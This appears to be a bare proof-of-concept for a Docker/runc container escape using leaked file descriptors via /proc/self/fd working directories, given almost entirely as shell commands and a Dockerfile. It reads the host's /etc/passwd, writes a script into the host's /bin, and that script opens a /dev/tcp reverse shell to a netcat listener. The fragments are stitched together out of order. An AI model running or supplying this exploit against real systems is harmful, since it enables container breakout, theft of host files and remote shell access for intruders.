https://docs.docker.com/engine/install/ubuntu/

#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9

docker build . -t name_of_container

#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337

docker run -it --rm cve2024 bash /poc.sh

chmod +x bash.copy
./bash.copy